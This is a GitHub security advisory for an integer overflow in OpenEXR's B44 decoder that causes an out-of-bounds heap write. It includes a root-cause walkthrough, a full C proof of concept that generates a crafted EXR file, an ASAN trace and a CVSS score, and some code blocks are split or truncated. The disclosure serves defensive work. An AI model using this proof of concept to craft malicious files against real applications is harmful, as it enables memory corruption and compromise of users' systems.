

AcademySoftwareFoundation / openexr Public[Code](#) [Issues](#) 189 [Pull requests](#) 19 [Actions](#) [Projects](#) [Wiki](#) [Security](#)

integer overflow to OOB write in uncompress_b44_impl()

High cary-ilm published GHSA-h762-rhv3-h25v last week

Package

internal_b44.c

Affected versions

3.2.0-3.2.6, 3.3.0-3.3.8, 3.4.0-3.4.7

Patched versions

3.2.7, 3.3.9, 3.4.8

Description

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using `int`. When the channel width (`nx`) is large enough, the product `y * nx` overflows `int`, causing the row pointer to wrap before the start of the scratch buffer. Subsequent `memcpy()` calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

- variable declarations (`internal_b44.c:535`)

```
int nx, ny;
```



`nx` and `ny` are declared as plain `int`. They are assigned from `curc->width` and `curc->height` which are `int32_t`.

- Scratch buffer allocation (`internal_b44:543`)

```
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *  
          (uint64_t) (curc->bytes_per_element);
```



The allocation path correctly promotes to `uint64_t` before multiplying.

The scratch buffer is always large enough to hold the full channel.

- Row pointer reconstruction (internal_b44:560)

```
row0 = (uint16_t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
```



`y` and `nx` are both `int`. The product `y * nx` is computed in `int`. If this product exceeds `INT_MAX` (2,147,483,647), the result is signed integer overflow

- Out of Band write (internal_b44:592)

```
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
```



These four writes copy decoded B44 pixel blocks into `row0`–`row3`, which now point to memory before the scratch buffer.

The same pattern is present in the encoder path (`ht_apply_impl`), lines 431–432, where `row0`–`row3` are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, `uncompress_b44_impl()` computes `row0 += y * nx`, with `y=8` and `nx=268435456`, the product exceeds `INT_MAX`, triggering a signed integer overflow that displaces `row0` before the scratch buffer. The subsequent `memcpy()` writes to this invalid address, causing the crash. The generated file `/tmp/poc_b44.exr` can be replayed independently on any OpenEXR installation.

```
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)
do {
    exr_result_t _rv = (call);
    if (_rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);
        goto fail;
    }
}
```



```

    }
} while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t W      = 268435456;
    const int64_t H      = 9;
    const char*   path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz     = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t      ctxt      = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                part      = -1;
    exr_chunk_info_t   cinfo;
    exr_decode_pipeline_t dec     = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t           dummy     = 0;
    int                ok       = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
        ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
        EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
    CHECK(exr_write_header(ctxt));
    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
    exr_finish(&ctxt); ctxt = NULL;

    fprintf(stderr, "[*] wrote %s W=%"PRIu64" H=%"PRIu64" packed=%"PRIu64" bytes\n",

    CHECK(exr_start_read(&ctxt, path, &cinit));
    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
    CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));

    dec.channels[0].decode_to_ptr      = (uint8_t*)&dummy;
    dec.channels[0].user_pixel_stride  = 2;
    dec.channels[0].user_line_stride   = dec.channels[0].width * 2;
    dec.channels[0].user_bytes_per_element = 2;
    dec.channels[0].user_data_type     = dec.channels[0].data_type;

    CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
    dec.unpack_and_convert_fn = NULL;

    fprintf(stderr, "[*] calling exr_decoding_run()h\n");

```

```

fflush(stderr);

CHECK(exr_decoding_run(ctxt, 0, &dec));
ok = 1;

fail:
    if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }
    free(packed);
    return ok ? 0 : 1;
}

```

ASAN Trace

```

openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:
  signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
#0 in uncompress_b44_impl internal_b44.c:561
#1 in internal_exr_undo_b44 internal_b44.c:706
#2 in decompress_data compression.c:444
#3 in exr_uncompress_chunk compression.c:541
#4 in exr_decoding_run decoding.c:580
#5 in main poc.c:83

=====
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
#0 in memcpy (libc)
#1 in uncompress_b44_impl internal_b44.c:599
#2 in internal_exr_undo_b44 internal_b44.c:706
#3 in decompress_data compression.c:444
#4 in exr_uncompress_chunk compression.c:541
#5 in exr_decoding_run decoding.c:580
#6 in main poc.c:83

SUMMARY: AddressSanitizer: SEGV – WRITE via memcpy in uncompress_b44_impl
internal_b44.c:599

```

Impact

A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via `exr_decoding_run()`.

Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

Severity

High 8.4 / 10

CVSS v4 base metrics**Exploitability Metrics**

Attack Vector	Local
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	Active

Vulnerable System Impact Metrics

Confidentiality	High
Integrity	High
Availability	High

Subsequent System Impact Metrics

Confidentiality	None
Integrity	None
Availability	None

[Learn more about base metrics](#)

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-34544

Weaknesses

- ▶ CWE-190
- ▶ CWE-787

Credits

nicoppida

Reporter